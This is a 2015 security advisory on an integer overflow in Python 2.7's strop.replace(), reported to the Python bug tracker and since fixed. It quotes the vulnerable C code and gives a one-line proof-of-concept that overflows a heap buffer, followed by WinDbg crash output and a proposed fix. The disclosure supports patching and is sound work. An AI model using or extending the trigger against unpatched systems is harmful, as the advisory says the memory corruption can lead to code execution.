Python 2.7 strop.replace() Integer Overflow
Posted on 02 November 2015
Title: Python 2.7 strop.replace() Integer Overflow Credit: John Leitch (john@autosectools.com) Url1: http://autosectools.com/Page/Python-strop-replace-Integer-Overflow Url2: http://bugs.python.org/issue24708 Resolution: Fixed The Python 2.7 strop.replace() method suffers from an integer overflow that can be exploited to write outside the bounds of the string buffer and potentially achieve code execution. The issue can be triggered by performing a large substitution that overflows the arithmetic used in mymemreplace() to calculate the size of the new string: static char * mymemreplace(const char *str, Py_ssize_t len, /* input string */ const char *pat, Py_ssize_t pat_len, /* pattern string to find */ const char *sub, Py_ssize_t sub_len, /* substitution string */ Py_ssize_t count, /* number of replacements */ Py_ssize_t *out_len) { [...] new_len = len + nfound*(sub_len - pat_len); <<<< Unchecked arithmetic can overflow here. if (new_len == 0) { /* Have to allocate something for the caller to free(). */ out_s = (char *)PyMem_MALLOC(1); if (out_s == NULL) return NULL; out_s[0] = ' '; } else { assert(new_len > 0); new_s = (char *)PyMem_MALLOC(new_len); <<<< An allocation is performed using overflowed value. if (new_s == NULL) return NULL; out_s = new_s; for (; count > 0 && len > 0; --count) { <<<< Memory is copied to new_s using len, which can be greater than the overflowed new_len value. /* find index of next instance of pattern */ offset = mymemfind(str, len, pat, pat_len); if (offset == -1) break; /* copy non matching part of input string */ memcpy(new_s, str, offset); str += offset + pat_len; len -= offset + pat_len; /* copy substitute into the output string */ new_s += offset; memcpy(new_s, sub, sub_len); new_s += sub_len; } /* copy any remaining values into output string */ if (len > 0) memcpy(new_s, str, len); } [...] } The following script demonstrates the issue: import strop strop.replace("x75"*0xEAAA,"x75","AA"*0xAAAA) When run under a debugger, it produces the following exception: 0:000> r eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000 eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 MSVCR90!memcpy+0x5a: 7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:000> db edi-0x10 57095ff0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 57096000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 57096010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 57096020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 57096030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 57096040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 57096050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 57096060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:000> db esi 01e3dde8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01e3ddf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01e3de08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01e3de18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01e3de28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01e3de38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01e3de48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01e3de58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> k ChildEBP RetAddr 0027fca0 1e056efc MSVCR90!memcpy+0x5a [f:ddvctoolscrt_bldSELF_X86crtsrcINTELmemcpy.asm @ 188] 0027fcd0 1e05700b python27!mymemreplace+0xfc [c:uild27cpythonmodulesstropmodule.c @ 1139] 0027fd18 1e0aaed7 python27!strop_replace+0xbb [c:uild27cpythonmodulesstropmodule.c @ 1185] 0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47 [c:uild27cpythonobjectsmethodobject.c @ 81] 0027fd5c 1e0f012a python27!call_function+0x2b0 [c:uild27cpythonpythonceval.c @ 4035] 0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a [c:uild27cpythonpythonceval.c @ 2684] 0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690 [c:uild27cpythonpythonceval.c @ 3267] 0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22 [c:uild27cpythonpythonceval.c @ 674] 0027fe44 1e118215 python27!run_mod+0x2a [c:uild27cpythonpythonpythonrun.c @ 1371] 0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75 [c:uild27cpythonpythonpythonrun.c @ 1358] 0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190 [c:uild27cpythonpythonpythonrun.c @ 950] 0027fec0 1e038cb5 python27!PyRun_AnyFileExFlags+0x59 [c:uild27cpythonpythonpythonrun.c @ 753] 0027ff3c 1d00116d python27!Py_Main+0x965 [c:uild27cpythonmodulesmain.c @ 643] 0027ff80 74b97c04 python!__tmainCRTStartup+0x10f [f:ddvctoolscrt_bldself_x86crtsrccrtexe.c @ 586] 0027ff94 7701ad1f KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7701acea ntdll!__RtlUserThreadStart+0x2f 0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b 0:000> !analyze -v -nodb ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: MSVCR90!memcpy+5a [f:ddvctoolscrt_bldSELF_X86crtsrcINTELmemcpy.asm @ 188] 7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 7026ae7a (MSVCR90!memcpy+0x0000005a) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 57096000 Attempt to write to address 57096000 CONTEXT: 00000000 -- (.cxr 0x0;r) eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000 eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 MSVCR90!memcpy+0x5a: 7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi] FAULTING_THREAD: 00001408 PROCESS_NAME: python.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 57096000 WRITE_ADDRESS: 57096000 FOLLOWUP_IP: MSVCR90!memcpy+5a [f:ddvctoolscrt_bldSELF_X86crtsrcINTELmemcpy.asm @ 188] 7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi] NTGLOBALFLAG: 470 APPLICATION_VERIFIER_FLAGS: 0 APP: python.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_NXCODE DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_NXCODE LAST_CONTROL_TRANSFER: from 1e056efc to 7026ae7a STACK_TEXT: 0027fca0 1e056efc 5708fc94 01e37a7c 00015554 MSVCR90!memcpy+0x5a 0027fcd0 1e05700b 01e2ba4e 38e171c8 01d244cc python27!mymemreplace+0xfc 0027fd18 1e0aaed7 00000000 01cebe40 01de2c38 python27!strop_replace+0xbb 0027fd30 1e0edcc0 01de2c38 01cebe40 00000000 python27!PyCFunction_Call+0x47 0027fd5c 1e0f012a 0027fdb4 01ce6c80 01ce6c80 python27!call_function+0x2b0 0027fdcc 1e0f1100 01ddd9d0 00000000 01ce6c80 python27!PyEval_EvalFrameEx+0x239a 0027fe00 1e0f1162 01ce6c80 01ddd9d0 01ceaa50 python27!PyEval_EvalCodeEx+0x690 0027fe2c 1e1170ca 01ce6c80 01ceaa50 01ceaa50 python27!PyEval_EvalCode+0x22 0027fe44 1e118215 01dca090 01ceaa50 01ceaa50 python27!run_mod+0x2a 0027fe64 1e1187b0 702c7408 00342ebb 00000101 python27!PyRun_FileExFlags+0x75 0027fea4 1e119129 702c7408 00342ebb 00000001 python27!PyRun_SimpleFileExFlags+0x190 0027fec0 1e038cb5 702c7408 00342ebb 00000001 python27!PyRun_AnyFileExFlags+0x59 0027ff3c 1d00116d 00000002 00342e98 00341950 python27!Py_Main+0x965 0027ff80 74b97c04 7ffde000 74b97be0 b4e726fd python!__tmainCRTStartup+0x10f 0027ff94 7701ad1f 7ffde000 b723218a 00000000 KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7701acea ffffffff 77000212 00000000 ntdll!__RtlUserThreadStart+0x2f 0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: .cxr 0x0 ; kb FAULTING_SOURCE_LINE: f:ddvctoolscrt_bldSELF_X86crtsrcINTELmemcpy.asm FAULTING_SOURCE_FILE: f:ddvctoolscrt_bldSELF_X86crtsrcINTELmemcpy.asm FAULTING_SOURCE_LINE_NUMBER: 188 FAULTING_SOURCE_CODE: No source found for 'f:ddvctoolscrt_bldSELF_X86crtsrcINTELmemcpy.asm' SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: msvcr90!memcpy+5a FOLLOWUP_NAME: MachineOwner MODULE_NAME: MSVCR90 IMAGE_NAME: MSVCR90.dll DEBUG_FLR_IMAGE_TIMESTAMP: 51ea24a5 FAILURE_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_NXCODE_c0000005_MSVCR90.dll!memcpy BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE_msvcr90!memcpy+5a ANALYSIS_SOURCE: UM FAILURE_ID_HASH_STRING: um:string_dereference_fill_pattern_nxcode_c0000005_msvcr90.dll!memcpy FAILURE_ID_HASH: {031149d8-0626-9042-d8b7-a1766b1c5514} Followup: MachineOwner --------- To fix the issue, mymemreplace should validate that the computed value new_len has not overflowed. To do this, (new_len - len) / nfound should be compared to sub_len - pat_len. If that are not equal, an overflow has occurred. Proposed patches for stropmodule.c and test_strop.py are attached.
